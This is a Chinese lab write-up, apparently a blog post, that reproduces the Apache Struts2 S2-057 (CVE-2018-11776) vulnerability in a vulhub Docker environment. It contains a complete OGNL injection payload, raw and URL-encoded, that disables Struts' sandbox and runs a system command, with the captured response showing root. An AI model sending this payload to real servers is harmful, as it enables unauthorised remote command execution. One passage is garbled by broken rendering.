struts2-057-CVE-2018-11776

struts2-057-CVE-2018-11776

搭建环境

首先安装git
yum install git-core

安装完成之后运行一下git clone试试,如果出现选项就说明安装成功了。
之后安装docker
sudo yum -y install docker-ce

尝试运行一下
docker images

如果出现镜像列表则说明成功安装。接下来就需要安装vulhub了,在这之前,需要先安装pip
wget https://bootstrap.pypa.io/get-pip.py
python get-pip.py
安装完成之后尝试输入pip,出现选项即说明安装成功,接下来就可以

使用pip来安装docker-compose
pip install docker-compose

直接从github上将vulhub拿下来
git clone https://github.com/vulhub/vulhub
可以看到里面的漏洞环境
在这里插入图片描述
进入struts2目录下,找到struts2-057,进去。
在这里插入图片描述
直接使用docker-compose将镜像安装起来。
docker-compose up -d
在这里插入图片描述
看下docker里面镜像库,如果出现struts2镜像则说明安装成功。
在这里插入图片描述
查看psid,复制id后直接启用环境。
docker exec -i -t /bin/bash
在这里插入图片描述

复现

环境就搭建起来了,访问一下ip:port/struts2-showcase/,ip是虚拟机地址,端口一般是8080
在这里插入图片描述
这里就访问成功了,之后验证漏洞,将url换成ip:port/struts2-showcase/${(111+111)}/actionChain1.action
在这里插入图片描述
最后可以看到已经变成了ip:port/struts2-showcase/222/register2.action
在这里插入图片描述

payload

${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request[‘struts.valueStack’].context).(#cr=#ct[‘com.opensymphony.xwork2.ActionContext.container’]).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec(‘whoami’)).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

URL编码之后:
/struts2-showcase/%24%7b(%23dm%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3d%23request%5b%27struts.valueStack%27%5d.context).(%23cr%3d%23ct%5b%27com.opensymphony.xwork2.ActionContext.container%27%5d).(%23ou%3d%23cr.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou.getExcludedPackageNames().clear()).(%23ou.getExcludedClasses().clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3d%40java.lang.Runtime%40getRuntime().exec(%27whoami%27)).(%40org.apache.commons.io.IOUtils%40toString(%23a.getInputStream()))%7d/actionChain1.action

通过抓包可以看到,第一次请求 ( 111 + 111 ) 的 时 候 , 返 回 了 302 响 应 码 , 随 即 返 回 想 要 得 到 的 内 容 {(111+111)}的时候,返回了302响应码,随即返回想要得到的内容 (111+111)302{222},并且响应码是200
在这里插入图片描述
用payload再次尝试,查看抓包,可以发现还是先响应302,然后返回了用户名root,并且响应码是200
在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值